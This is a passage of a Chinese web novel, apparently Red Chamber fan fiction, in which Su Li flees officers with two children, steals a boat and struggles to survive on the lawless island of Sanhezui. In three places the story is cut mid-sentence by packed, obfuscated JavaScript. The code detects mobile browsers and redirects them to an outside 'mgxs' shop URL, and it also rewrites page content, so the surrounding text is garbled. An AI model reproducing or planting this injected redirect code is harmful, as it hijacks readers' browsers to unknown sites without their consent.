就在这时，“砰”的一声巨响从院门方向传来，伴随着木闩断裂的声音和官差的怒喝：“官差办案！里面的人不准动！” “娘！他们闯进来了！”年轻媳妇带着哭腔惊呼。 “快盖上！”老妇人嘶哑地喊道。 洞口的光线迅速变暗，木板被重新盖上，紧接着是窸窸窣窣堆放柴草的声音。最后一丝光亮被彻底隔绝，地窖内陷入死一般的黑暗和寂静，只有彼此急促的呼吸声和巧姐儿压抑的、小兽般的呜咽。 地面上，传来杂沓的脚步声、官差的盘问声、婆媳二人惊恐失措的回答声。 “官爷……官爷饶命啊……就我们婆媳两个……没、没别人了……” “搜！仔细搜！每个角落都不能放过！” “头儿，屋里没人！” “柴房也看了，空的！” “这堆柴草后面是什么？挪开看看！” 苏璃的心提到了嗓子眼，将巧姐儿更紧地搂住，另一只手捂住了她的嘴，防止她发出声音。板儿也屏住了呼吸，身体紧绷如铁。 柴草被翻动的声音近在咫尺，甚至能听到官差沉重的呼吸声。幸运的是，那堆柴草实在太厚太乱，入口又隐蔽，官差似乎并未发现木板，只是胡乱用刀鞘捅了几下柴草堆，便骂骂咧咧地走开了。 “头儿，都搜遍了，确实没发现那妇人和孩子。” “哼，算她们跑得快！把这婆媳俩带走！回去严加审问，不信问不出下落！” “是！” 地面上传来婆媳二人凄厉的哭求声、官差的呵斥声，脚步声渐渐远去，院门被重重关上，外面落锁的声音清晰可闻。 地窖里，再次陷入死寂。过了许久，确认外面再无声响，苏璃才缓缓松开捂着巧姐儿嘴的手，小丫头早已吓得浑身瘫软，连哭都哭不出来了。板儿也虚脱般靠坐在潮湿的土壁上，大口喘着气。 “暂时……安全了。”苏璃的声音在黑暗中嘶哑得厉害。她摸索着从怀中掏出火折子——这是她离开临河口前，从吴货郎那简陋行囊中找到的仅有几件有用物品之一。轻轻晃亮，微弱的光晕驱散了浓稠的黑暗，照亮了这方狭小的空间。 地窖不大，约莫半间屋子大小，四壁是粗糙的土墙，角落里散乱地堆着几个空麻袋和破坛子，空气污浊潮湿，弥漫着浓重的霉味。所幸，并无积水。 “板儿，巧姐儿，没事了，官差走了。”苏璃尽量让自己的声音听起来平稳，安抚着两个惊魂未定的孩子。 板儿点点头，凑到巧姐儿身边，小声哄着。巧姐儿依偎在板儿怀里，身体仍在微微发抖。 苏璃举着火折子，仔细检查地窖。入口处的木板盖得还算严实，只有极细微的光线缝隙。她心中稍安，至少短时间内，这里是相对安全的藏身之所。但绝非久留之地！官差虽然走了，但带走了李老实的姑母和媳妇，严刑拷打之下，这地窖的秘密未必能守住。必须尽快离开白滩渡！ 可是，如何离开？外面情况不明，码头定然有官差把守，陆路呢？她对白滩渡周边地形一无所知，带着两个孩子，能逃到哪里去？ 一种前所未有的无力感攫住了她。前世纵横商海，今生周旋深宅，她总能凭借智谋和算计找到一线生机。可如今，在这完全陌生、危机四伏的荒野之地，她那些引以为傲的算计，显得如此苍白无力。武力？她没有。帮手？李老实入狱，婆媳被抓，唯一的希望“张快嘴”也生死未卜。她有的，只是这具并不强健的身体和两个需要她保护的孩子。 “柳姨……”板儿的声音带着迟疑，打破了地窖的沉默，“我们……还能逃出去吗？” 苏璃转过头，火折子的光晕下，板儿的脸庞稚嫩却写满了与年龄不符的忧虑。巧姐儿也睁着泪汪汪的大眼睛看着她。 不能慌！绝对不能慌！苏璃深吸一口污浊的空气，强迫自己冷静下来。她是主心骨，她若先垮了，两个孩子就真没活路了。 “能。”她斩钉截铁地说，声音不大，却带着一种不容置疑的力量，“官差已经搜过这里，短时间内不会再来。我们等天黑，天黑之后，再想办法出去，找路离开。” 她必须给孩子们希望，也给自己希望。 时间在黑暗中缓慢流逝。火折子不能长时间点燃，苏璃只能偶尔晃亮一下，确认安全，顺便清点他们仅有的“物资”：怀里还有不到二两的碎银子，一把匕首，一个水囊，以及离开临河口时带的几个早已冷硬的干粮饼子。这就是他们全部的家当。 她将干粮饼子分成三份，递给板儿和巧姐儿：“吃点东西，保存体力。”饼子又干又硬，难以下咽，但两个孩子都默默地小口吃着，他们知道，这是活下去的保障。 等待天黑的时间格外漫长。地窖里闷热潮湿，蚊虫叮咬，巧姐儿细嫩的皮肤上很快起了红包，痒得难受，又不敢大声哭闹，只能小声抽泣。板儿懂事地帮她轻轻拍打着。 苏璃靠在土壁上，大脑飞速运转，思考着所有可能的出路。码头是死路，唯一的希望可能在陆路。白滩渡是个小镇，必然有通往其他城镇的道路。关键是，如何避开官差的盘查？他们对三个特征明显的“逃犯”定然张榜图形，严加缉拿。 或许……可以走水路，但不是码头的大船。这临河之地，必有渔民的小船…… 天色终于完全黑透。地窖里伸手不见五指，只有从木板缝隙透进的、微弱的月光，显示着夜晚的降临。 苏璃再次晃亮火折子，对板儿和巧姐儿低声道：“我们该走了。记住，无论发生什么，紧紧跟着我，不要出声。” 她小心地挪开洞口的一些柴草，侧耳倾听外面，一片死寂。她用力顶开木板，一股带着河水腥气和草木清香的夜风涌入，让人精神一振。 她率先爬出地窖，警惕地环顾四周。院子里空无一人，月色清冷，映照着破败的院落，那棵歪脖子柳树的影子如同鬼魅。院门果然从外面锁死了。 “上来。”她低声道，伸手将巧姐儿拉上来，板儿也紧随其后。 院墙不高，但对于带着孩子的苏璃来说，仍是难题。她让板儿踩着角落里一个废弃的石磨，先爬上去，然后自己奋力将巧姐儿托举上去，板儿在上面接应。最后，她借助墙边的柴垛，也艰难地翻过了墙头。 墙外是一条狭窄潮湿、堆满垃圾的后巷。三人落地，不敢停留，沿着墙根的阴影，快速向与码头相反的方向移动。 白滩渡的夜晚，比临河口更加寂静。零星的灯火大多熄灭，只有更夫敲梆子的声音远远传来，带着一丝凄凉。他们专挑最黑暗、最偏僻的小路穿行，如同惊弓之鸟，任何一点声响都让他们心惊肉跳。 必须尽快找到船！苏璃凭着记忆中和“张快嘴”闲聊时提到的只言片语，以及白天在码头的粗略观察，判断渔民的船只多半停泊在镇子下游的某处河湾，而非官船往来的主码头。 他们避开大路，在泥泞的田埂和杂乱的草丛中深一脚浅一脚地跋涉。巧姐儿年纪小，早已体力不支，板儿便背着她一段，苏璃换扶一段。三人的衣衫被夜露和汗水打湿，狼狈不堪。 也不知走了多久，就在苏璃几乎要绝望时，前方隐约传来了河水拍岸的声音，空气中那股鱼腥味也浓重起来。拨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老人看了看她，又看了看她身后芦苇丛隐约可见的两个小身影，浑浊的眼中闪过一丝怜悯：“这兵荒马乱的……走吧，赶紧走吧。顺着这条河往下，三十里外有个叫‘三河咀’的地方，是三条水道交汇处，鱼龙混杂，官府的管束也松些……或许有条活路。” 苏璃没想到这老人竟如此通透，还指了条明路。她心中戒备稍减，但仍不敢完全相信：“老人家，您……” “我老了，船也破了，跑不动远路了。”老人摇摇头，指着旁边一条稍微新些的小船，“那条船……是镇东头刘老四的，他今日去走亲戚，明早才回。你们……若是会水，就……唉，造孽啊……” 老人话没说完，又剧烈咳嗽起来，不再看苏璃，颤巍巍地钻回了低矮的船篷里。 苏璃愣在原地，心中五味杂陈。老人没有明说，但意思再清楚不过——他默许，甚至是指点他们去“借用”那条无主的船！这看似是条生路，但……偷船？若被发现，便是罪上加罪！ 可是，还有别的选择吗？天快亮了，一旦天亮，他们三人在这旷野中无所遁形！ 苏璃不再犹豫，回到板儿和巧姐儿藏身之处，快速将情况说了。板儿听说要偷船，小脸发白，但还是用力点头：“柳姨，你说怎么做，我们就怎么做！” 三人悄悄摸到那条“刘老四”的船边。船缆系在岸边的木桩上。苏璃让板儿和巧姐儿先上船，自己则用匕首费力地去割那粗硬的缆绳。匕首锋利，但缆绳湿滑坚韧，她费了九牛二虎之力，才将缆绳割断。 船身一晃，脱离了岸边。苏璃赶紧跳上船。船上只有一支简陋的木桨。 “板儿，你抱着巧姐儿坐稳。”苏璃低声道，她回忆着前世在公园划船的经历，尝试着将木桨伸入水中，用力划动。小船歪歪扭扭地离开了河岸，驶向河道中央。 夜风更大了，河水哗哗地拍打着船帮。苏璃不会驾船，只能凭着感觉，努力让船保持着向下游的方向。小小的渔船在宽阔的河面上，如同一片无根的落叶，随时可能被风浪吞噬。 回头望去，白滩渡的点点灯火早已消失在黑暗中。前方，是未知的、漫无边际的黑暗和奔流不息的河水。 他们暂时逃脱了官差的追捕，却踏上了一条更吉凶未卜的水路。三十里外的“三河咀”，是希望之地，还是另一个陷阱？ 苏璃咬紧牙关，奋力划动着船桨。冰冷的河水偶尔溅到她脸上，带着刺骨的寒意。她不知道这条路通向何方，但她知道，她必须活下去，带着巧姐儿和板儿，活下去。 71. 三河咀 夜色如墨，水声潺潺。苏璃拼尽全力划动着那支粗糙沉重的木桨，汗水混合着冰冷的河水，早已浸透了她的内衫。 小小的渔船在宽阔的河面上左摇右晃，如同醉汉蹒跚，有好几次几乎要倾覆，冰冷的河水灌进船舱，引得巧姐儿阵阵惊叫，又被板儿死死捂住嘴。苏璃的心脏在胸腔里狂跳，几乎要挣脱出来，她全凭着一股不肯认命的狠劲，咬牙坚持着，努力回忆着前世仅有的一点划船技巧，试图让船头保持向下游的方向。 河水并不平静，时而有漩涡，时而有潜流。苏璃的手臂早已酸麻得失去知觉，只是机械地重复着划水的动作。 她不知道已经划了多久，也不知道身在何处，四周是望不到边的黑暗，只有头顶寥落的寒星和惨淡的月光，映照着墨色的、无声流动的河水。天地间仿佛只剩下这条小船和他们三个微小的生命，孤独地飘荡在无边的恐惧与未知之中。 板儿紧紧抱着巧姐儿，缩在船尾最狭窄干燥的地方，用自己小小的身体为妹妹遮挡着夜风和溅起的河水。他脸色苍白，嘴唇冻得发紫，眼睛却一瞬不瞬地盯着奋力划桨的苏璃，仿佛那是黑暗中唯一的光亮和依靠。 “柳姨……歇、歇一会儿吧……”板儿的声音带着颤抖。 苏璃摇摇头，声音嘶哑得几乎发不出声：“不……不能停……”一停下来，她怕自己就再也提不起一丝力气。而且，天就快亮了，必须在日出前，尽可能地远离白滩渡。 她不知道那些官差是否会沿河追索，不知道那位“好心”指点却又默许他们偷船的老渔夫会不会改变主意去报官。她只知道，停下来，就是等死。 就在苏璃感觉自己即将力竭崩溃之时，前方的黑暗似乎有了一丝变化。河面仿佛骤然开阔，水声也变得嘈杂起来，隐约能听到不同方向的水流交汇碰撞的哗哗声。借着微弱的星光，她似乎看到前方出现了影影绰绰的、比水面更高的黑影，像是河岸，又像是……岛屿？ 是三河咀？ 是那个老渔夫说的三条水道交汇之地？ 希望如同微弱的火星，瞬间点亮了她濒临绝望的心。她用尽最后一点力气，朝着那片黑影的方向划去。 随着距离拉近，轮廓渐渐清晰。果然是数条水道在此交汇，形成一个喇叭口状的宽阔水面。水中央，赫然矗立着一片不小的沙洲，或者说，是一个被河水冲刷分割形成的、形状不规则的河中岛。岛上黑黢黢的，依稀可见一些高低错落的房屋轮廓，甚至……有几点微弱的灯火，在黎明的薄雾中闪烁，如同鬼火。 有灯火，就有人烟！但这人烟，是吉是凶？ 苏璃的心提了起来。这“三河咀”果然如老渔夫所言，是个“鱼龙混杂”的地方。看这孤悬河中的架势，恐怕并非寻常村落，倒更像是个不受官府完全管辖的、三不管地带的“水寨”或聚集地。 小船在越来越急的水流中打着旋，艰难地靠近那片沙洲。靠近了才发现，沙洲边缘停靠着不少船只，大小不一，有破旧的渔船，有简陋的舢板，甚至还有几艘看起来颇具规模的货船，都静悄悄地泊在岸边，随着水波轻轻摇晃。岸边用木桩和木板搭建着简陋的码头和栈桥，一直延伸到水中。 天色已蒙蒙发亮，东方泛起鱼肚白。苏璃不敢将船直接靠上码头，那太显眼了。她费力地将船划到沙洲下游一处僻静的、芦苇丛生的浅滩附近，这里水浅泥泞，大船进不来，正适合藏匿。 她将船缆系在一丛粗壮的芦苇根上，浑身如同散了架一般瘫倒在湿漉漉的船板上，大口喘着气，连手指都动弹不得。板儿连忙爬过来，用袖子笨拙地给她擦着脸上的汗水和河水。巧姐儿也爬过来，怯生生地偎在她身边。 休息了片刻，恢复了些许力气，苏璃挣扎着坐起身。必须立刻离开这条船！这是“赃物”，是最大的目标！她将船上唯一那支木桨藏在芦苇深处，又将缆绳解开，用力将小船推向河心。失去了束缚的小船，立刻被湍急的水流卷着，歪歪斜斜地向下游漂去，很快消失在晨雾之中。 处理掉小船，苏璃才稍稍松了口气。她带着板儿和巧姐儿，踩着冰冷的淤泥和没过脚踝的河水，深一脚浅一脚地爬上沙洲。岸边是茂密的芦苇和杂乱的灌木，正好可以暂时藏身。 三人躲在一处灌木丛后，苏璃小心地拨开枝叶，向外观察。 天色越来越亮，沙洲上的景象也逐渐清晰。这地方比她想象的要大得多，与其说是个沙洲，不如说是个被水道分割的、地形复杂的小岛。岛上有高有低，高处似乎有些像样的房屋，甚至能看到瞭望塔一样的建筑轮廓。低洼处则是大片杂乱无章的窝棚、吊脚楼，材料五花八门，有木板，有茅草，还有破船板，密密麻麻地挤在一起，形成一片巨大的贫民窟。几条泥泞不堪的小路蜿蜒其间，空气中弥漫着河水腥气、垃圾腐臭、劣质炊烟以及一种难以言喻的、混乱而旺盛的生命气息。 已经开始有人活动。码头上，有赤膊的汉子在装卸货物，粗声大气地吆喝着。窝棚区，有妇人端着木盆到水边浆洗，孩童在泥地里追逐打闹。更多的人行色匆匆，面目模糊，眼神里带着一种此地特有的、混杂着警惕、麻木和一丝狠厉的光。 这里果然不是善地。苏璃的心沉了沉。但或许，也正是这种龙蛇混杂、法度松弛的地方，才能暂时容下她们这三个“逃犯”。 “板儿，巧姐儿，听我说，”苏璃压低声音，神色凝重，“这里很乱，很危险。从现在起，我们没有名字。我是你们的娘，你们是我的孩子。我们是从北边遭了灾，逃难过来的，家人都没了，只剩下我们娘仨，想到南边投亲，路上盘缠用尽，流落至此。记住了吗？” 板儿用力点头，巧姐儿也懵懂地跟着点头。 “好。无论谁问，都这么说。少说话，多看，多听。跟紧我，别乱跑。”苏璃再次叮嘱。她将身上最后一点碎银子和那把匕首贴身藏好，又抓了几把泥土，在三人脸上、身上胡乱抹了抹，让她们看起来更加落魄狼狈，难以辨认本来面目。 整理完毕，苏璃深吸一口气，牵着巧姐儿，带着板儿，低着头，小心翼翼地走出藏身的灌木丛，混入了那条泥泞的小路，向着那片窝棚区走去。 一踏入其中，各种声音和气味便扑面而来。哭闹声、叫骂声、讨价还价声、锅碗瓢盆的碰撞声……空气污浊得令人作呕。路两旁挤满了各式各样的窝棚，有的挂着破布帘子，有的干脆敞着，里面是家徒四壁的凄惨景象。人们穿着破烂，面色或麻木或凶悍，打量她们这三个陌生面孔的目光，充满了毫不掩饰的审视和估量。 苏璃尽量让自己显得畏缩、惶恐，像个真正走投无路的逃难妇人，紧紧搂着孩子，沿着路边快步走着，目光低垂，不敢与任何人对视。 “新来的？”一个蹲在窝棚口、吸着旱烟的老头忽然开口，声音嘶哑。 苏璃吓了一跳，连忙停步，低着头，细声细气道：“是……是，逃难来的，老丈……” 老头浑浊的眼睛上下打量了她们几眼，尤其是在苏璃虽然污秽却难掩清秀轮廓的脸上停顿了一下，嘿嘿干笑两声：“这年头，逃难的可真多……有去处吗？” “没……没有，想先找个地方落脚……”苏璃的声音带着哭腔。 “落脚？”老头吐出一口烟圈，指了指远处一片更加破烂、紧挨着水边的窝棚，“那边，最靠水的那片棚子，空着的多，自己寻个没人的，拾掇拾掇就能住。不过……这地界，可不养闲人。想活命，得干活，或者……有别的本事。”他最后一句说得意味深长，目光又在苏璃身上扫了扫。 苏璃心中厌恶，却不敢表露，只连连道谢，拉着孩子匆匆离开。 按照老头的指点，她们来到了沙洲最边缘、环境也最恶劣的一片区域。这里地势低洼，潮湿不堪，许多窝棚半泡在水里，散发着浓重的霉味。确实有不少空置的、半塌的棚子。 苏璃选了一个相对完整、位置也最偏僻、背后就是茂密芦苇荡的窝棚。棚子很小，用几根歪斜的木棍和破船板搭成，上面胡乱盖着茅草和破油布，四处漏风，里面除了些潮湿的稻草和垃圾，空无一物。但至少，有了个暂时栖身之所。 “就这里吧。”苏璃对板儿说。三人一起动手，将里面的垃圾尽量清理出去，又抱了些相对干燥的芦苇铺在地上，算是有了个睡觉的地方。 安顿下来，已是日上三竿。疲惫和饥饿如同潮水般袭来。苏璃掏出最后那块又冷又硬的饼子，分成三份。巧姐儿饿坏了，小口小口却吃得很快。板儿只吃了一小半，将剩下的偷偷塞回给苏璃。 苏璃心中酸楚，将饼子又推回去：“板儿，你吃。你是男孩子，正在长身体，要保存体力。阿姐……娘不饿。”她知道，必须尽快找到食物来源，否则三人撑不了几天。 “娘，我出去看看，能不能……找点活干，或者……找点吃的。”板儿小声说，眼中有着超越年龄的担当。 苏璃立刻摇头：“不行！外面太乱，你一个人出去太危险。我们初来乍到，一切都要小心。先看看情况再说。” 她让板儿陪着巧姐儿在棚子里休息，自己则走到窝棚门口，假装整理破烂的门帘，实则暗中观察着周围。 这片区域的居民似乎都是最底层的贫民，有老弱病残，也有看起来游手好闲的混混。不远处，几个妇人正在水边浆洗着不知从哪弄来的破布，一边洗一边低声交谈，话题无非是今天的鱼价、哪家又吵了架、码头上来了什么新货船。 苏璃竖起耳朵，努力捕捉着有用的信息。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113154|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……听说了吗？昨儿后半夜，上游白滩渡那边闹腾得厉害，官差抓人，好像是在搜捕什么从京城逃出来的要犯……” “京城？天高皇帝远的，关咱们这水洼子什么事？” “谁知道呢！不过听说赏银丰厚，画像都贴到临河口了……” “啧，那也得有命拿啊。这年头，多一事不如少一事……” 苏璃心中一紧。消息果然传过来了！赏银画像……看来追捕的网，正在收紧。她们必须更加小心。 “……对了，老歪头那边，好像在招人搬货，一天管两顿糙米饭，就是累点……” “那活是人干的？听说上次累死一个，扔河里了事……” “不然呢？这鬼地方，有口吃的就不错了……” 搬货？管饭？苏璃心中一动。这或许是条暂时的生路。虽然辛苦危险，但至少能换取食物，了解环境。她一个“弱女子”带着两个孩子，想要在这里活下去，不引人注目地找到长期生计，恐怕不易。体力活虽然辛苦，反倒显得合理。 但……她看了看自己这双虽然粗糙却绝不属于干重活的手，又看了看棚内瘦弱的板儿和年幼的巧姐儿。她能去吗？板儿能去吗？巧姐儿一个人留在棚里安全吗？ 无数难题摆在眼前。生存，从来不是一件容易的事，尤其是在这法外之地。 就在苏璃心乱如麻之际，窝棚外的小路上，忽然传来一阵嘈杂的脚步声和粗鲁的吆喝声。几个穿着短打、敞着怀、露出胸毛和纹身的壮汉，骂骂咧咧地朝这边走来，沿途踢翻杂物，吓得路人纷纷避让。 “都听好了！这个月的‘水头钱’，该交了！麻溜的！别让爷们儿动手！”为首一个脸上带着刀疤的汉子吼道，声音如同破锣。 是收保护费的！苏璃的心猛地一沉。果然，这种地方，怎么可能没有地头蛇盘剥？ 那几个汉子挨个窝棚踹门收钱，哭喊声、哀求声、打骂声顿时响成一片。转眼间，就来到了苏璃她们的窝棚前。 “哐当”一声，本就摇摇欲坠的破门板被一脚踹开。刀疤脸带着两个手下，大摇大摆地走了进来，浑浊的目光在狭窄的棚内一扫，落在苏璃和两个孩子身上。 “新来的？”刀疤脸上下打量着苏璃，眼中闪过一丝淫邪的光，“模样倒还周正。懂规矩吗？在这三河咀混，得交‘水头钱’！这个月，一人五十文，三个人，一百五十文！拿来！” 苏璃心中一寒。一百五十文！她们身上总共只剩不到二两银子，这是她们全部的活命钱！而且，看这架势，绝不是交一次就能了事的。 她立刻低下头，做出惊恐万状的样子，将巧姐儿和板儿护在身后，声音颤抖着：“大……大爷，行行好……我们……我们刚从北边逃难过来，身上……身上一个子儿都没有了……求大爷高抬贵手……” “没钱？”刀疤脸脸色一沉，上前一步，几乎贴到苏璃面前，浓重的口臭和汗味扑面而来，“没钱也好办！看你还有几分颜色，跟了爷，保你娘仨有口饭吃，怎么样？”说着，竟伸手要去摸苏璃的脸。 板儿猛地冲上前，挡在苏璃身前，虽然害怕得浑身发抖，却昂着头，大声道：“不许碰我娘！” “小兔崽子，找死！”刀疤脸身后的一个汉子抬手就要打。 “慢着！”苏璃猛地将板儿拉到身后，抬起头，直视着刀疤脸，眼中已没有了刚才的惊恐，反而是一片冰冷的平静。她知道，示弱求饶在这一刻已经没用了。她缓缓从怀中掏出那块最大的、约莫一两的碎银子，托在掌心。 “这位爷，我们初来乍到，不懂规矩。这点银子，算我们娘仨孝敬各位爷喝茶的。请爷行个方便，容我们缓几日，寻个活计，下月的‘水头钱’，定当补齐。”她的声音不高，却清晰稳定，带着一种不容轻侮的意味。 刀疤脸愣了一下，显然没料到这个看似柔弱的妇人，面对他们这群凶神恶煞，竟能如此镇定，还敢讨价还价。他盯着苏璃看了几眼，又看了看她手中白花花的银子，眼中贪婪之色一闪而过。 “哼，算你识相！”他一把抓过银子，在手里掂了掂，冷笑道，“看在这银子的份上，宽限你们三日！三日之后，若还交不出钱，或者找不到活计孝敬爷们儿……嘿嘿，你这模样，码头‘香兰馆’的老鸨肯定喜欢！”他□□着，带着手下扬长而去。 窝棚里恢复了寂静，只有巧姐儿压抑的抽泣声。板儿紧紧攥着拳头，小脸气得通红。 苏璃无力地靠在潮湿的土壁上，缓缓滑坐在地。三日……她们只有三日时间。必须找到活计，必须在这个吃人的地方，挣到活下去的钱，还要应付那些如狼似虎的地头蛇。 前途，一片黯淡。但至少，她们暂时又渡过了一劫。 72. 江南路茫茫 三两碎银，只换来三日的喘息。窝棚外，刀疤脸那伙人嚣张的吆喝声和窝棚区里压抑的哭泣咒骂声，像无形的鞭子，抽打着苏璃紧绷的神经。 她靠在潮湿的土墙上，搂着瑟瑟发抖的巧姐儿，听着板儿粗重的喘息，第一次感受到真正的、源于生存本身的绝望。京城贾府的风刀霜剑虽险，至少还有高墙深院、锦衣玉食作为缓冲；而这里，是三河咀，是赤裸裸的弱肉强食，是下一顿粮、下一文钱都要用血汗甚至屈辱去换取的修罗场。 不能坐以待毙。苏璃深吸一口气，将那口带着霉味和河水腥气的空气深深压入肺腑。她让板儿守在窝棚里照顾巧姐儿，自己则用破布包了头脸，只露出一双眼睛，再次踏入那片泥泞混乱的街巷。 这一次，她的目的性更强。她不再像个惊慌的逃难妇人，而是努力挺直背脊，目光沉静地观察着。她避开那些明显是地痞流氓聚集的角落，专往有妇人劳作的地方去——水边浆洗的，修补渔网的，甚至是在窝棚门口摆个小摊卖些自编草鞋、芦席的。 她放慢脚步，竖起耳朵，竭力捕捉着零碎的信息。 “昨儿个‘顺风号’卸的南洋香料，搬了一整天，累死个人，就给了三十文，还不管饱……” “‘老歪头’那儿的活儿更不是人干的，听说专挑生面孔，干完活就找茬扣钱，还动辄打骂……” “还是陈寡妇那边好点，补渔网、编苇席，虽然工钱少点，好歹安稳，就是眼睛毒，手脚慢的不要……” 陈寡妇？苏璃心中一动。这是个机会！她循着妇人们闲聊时指点的方向，在窝棚区更深处，靠近一片稍显整齐的、用破船板和油毡搭建的“工棚”处，找到了地方。 一个四十多岁、面色枯黄、眼神却异常锐利的妇人，正坐在一堆散发着鱼腥味的破渔网前，手指翻飞，麻利地修补着。她身前已经排了几个等着领活儿或交活儿的妇人和半大孩子，个个面黄肌瘦，神情麻木。 苏璃默默排到队尾。轮到她了，那陈寡妇抬起眼皮，上下扫了她一眼，目光在她虽然粗糙却仍显细嫩的手指上停留了一瞬，声音干涩：“新来的？以前做过？” “逃难来的，北边遭了灾。”苏璃低着头，声音细弱，“没……没专门做过，但手还算巧，针线活会一些。” 陈寡妇没说话，扔给她一个破洞不算太大的渔网和一团麻线。“试试。一个时辰，补好这个洞，针脚细密匀称，看不出破绽，就算你过关，以后每天来领活儿，补一个这样的网，三文钱，管一顿午饭。”她顿了顿，补充道，“午饭是糙米饭和鱼杂汤。完不成就走人，别耽误工夫。” 三文钱，一顿糙米饭。这便是这里的价码。苏璃心中苦涩，却毫不犹豫地接过渔网和麻线，找了个角落坐下。她从未补过渔网，但前世身为总裁，对手工细节要求极高，加上这具身体原主本就是心灵手巧的大丫鬟，穿针引线、缝补浆洗是基本功。她沉下心，仔细观察了一下渔网的纹路和破洞的边缘，便学着旁边妇人的样子，拿起粗大的骨针，穿好麻线，开始尝试。 起初有些笨拙，针脚也歪斜。但她学得极快，不过一刻钟，手法便渐渐熟练起来，针脚也细密平整了许多。一个时辰到了，她刚好将那个破洞修补完毕，虽然比不上旁边老手那般天衣无缝，但也算得上平整牢固。 陈寡妇拿过去仔细看了看，眼中闪过一丝讶异，但脸上依旧没什么表情，只点点头：“手还不算太笨。明天辰时初刻过来，迟到或完不成定量，就没饭吃。”这便是留下了。 苏璃心中一块石头暂时落地。有了这份活计，至少每天能有一顿饱饭，还有三文钱收入，虽然微薄，却是实实在在的生机。更重要的是，通过陈寡妇这里，可以接触到三河咀底层的妇孺，打听到更多有用的信息。 她谢过陈寡妇，正欲离开，忽听不远处传来一阵粗野的哄笑声和女子的尖叫怒骂。几个光着膀子、身上刺着青黑色纹身的水手模样的汉子，正围着一个卖草鞋的年轻妇人拉扯调笑，那妇人衣衫都被扯破了，吓得尖叫连连，周围人却纷纷避让，无人敢上前。 苏璃脚步一顿，心中不忍，却也知道自己绝不能出头。她强忍着转过头，快步离开这是非之地。这就是三河咀，没有道理，只有强弱。她必须尽快适应，学会在这里生存的法则。 返回窝棚的路上，她特意绕到码头附近，想看看是否有其他活计机会。码头上依然繁忙，搬运工们喊着号子，扛着沉重的货包，在跳板上艰难挪动。空气里弥漫着汗水、鱼腥和货物混合的复杂气味。 就在她匆匆一瞥间，眼角余光忽然扫到一个熟悉的身影——一个佝偻着背、穿着补丁摞补丁的灰布衣裳的老妇人，正扛着一个不大不小的麻袋，费力地跟在一队搬运工后面，走向一艘停泊的货船。那身形，那侧脸……像极了云渡庵里，那个看似聋哑、却在最后关头用眼神和手势提醒她、默许她们藏身地窖的老婆子！ 苏璃的心猛地一跳，几乎要停止呼吸。她迅速闪身躲到一堆货箱后面，屏住呼吸，悄悄探出头去。距离有点远，码头上人头攒动，那老妇人很快消失在装卸货物的人群中。 是她吗？那个云渡庵里神秘的老婆子？她怎么会出现在千里之外的三河咀？是巧合？还是……追踪而来？如果是后者，那意味着什么？是水澈的人？还是……忠顺王府的眼线？ 无数念头在苏璃脑中炸开。她不敢确认，更不敢上前查探。无论是哪一种可能，对于现在的她来说，都是巨大的未知风险。 她强迫自己冷静下来，迅速离开了码头区域。回到那个破败的窝棚，板儿正焦急地等待着，巧姐儿哭累了，已经睡着，小脸上还挂着泪痕。 “娘，你没事吧？”板儿迎上来，小声问。 “没事。”苏璃摇摇头，将陈寡妇那里的情况简单说了，又拿出刚领到的一块糙米饼子——这是陈寡妇看她初来，提前给的一点“午饭”。她将饼子掰开，大部分递给板儿和留给巧姐儿，自己只吃了一小口，味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118924|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同嚼蜡。 “明天开始，我去陈寡妇那里做工，你和巧姐儿留在棚里，锁好门，谁来都不要开，除了我。”苏璃叮嘱板儿，“白天我会尽量回来看看。等攒下点钱，我们再想办法离开这里。” 板儿用力点头：“娘，你放心，我会看好妹妹的。” 夜色再次降临，窝棚区笼罩在黑暗与零星灯火之中。远处码头方向隐约传来船只的启动声和模糊的人语，更显得这片贫民窟死寂而压抑。 苏璃躺在潮湿的草铺上，毫无睡意。白天码头那个似曾相识的身影，如同鬼魅般在她脑海中挥之不去。如果真是那个老婆子，她出现在这里，意味着什么？水澈的势力触角已经延伸到了江南？还是忠顺王府的追捕网已经如此缜密？她不敢深想。 眼下最要紧的，是活下去，是攒够离开这里的盘缠，是找到王熙凤遗言中可能指向的、更安全的去处。陈寡妇的活计只是权宜之计，三文钱一天，除去被地头蛇盘剥，所剩无几，何年何月才能攒够钱？而且，刀疤脸只给了三日宽限，三日后若交不出“水头钱”或找不到更“孝敬”的活计，后果不堪设想。 必须另寻出路。她想起白天在码头看到的货船，想起听到的关于“南洋香料”、“私盐”、“黑市”的只言片语。三河咀这种三不管地带，必然有见不得光的营生和渠道。或许……那里藏着更快获取钱财，但也更危险的机会。 还有那个神秘的“锦云堂”和王熙凤的江南暗线。账本上的秘密，那半块玉佩的暗示，究竟指向何处？在这龙蛇混杂的三河咀，是否能找到一丝线索？ 她轻轻摩挲着贴身藏着的、那半块温润的玉佩和那本薄如蝉翼的账册。这是她最后的底牌，也是催命的符咒。不到万不得已，绝不能轻易示人。 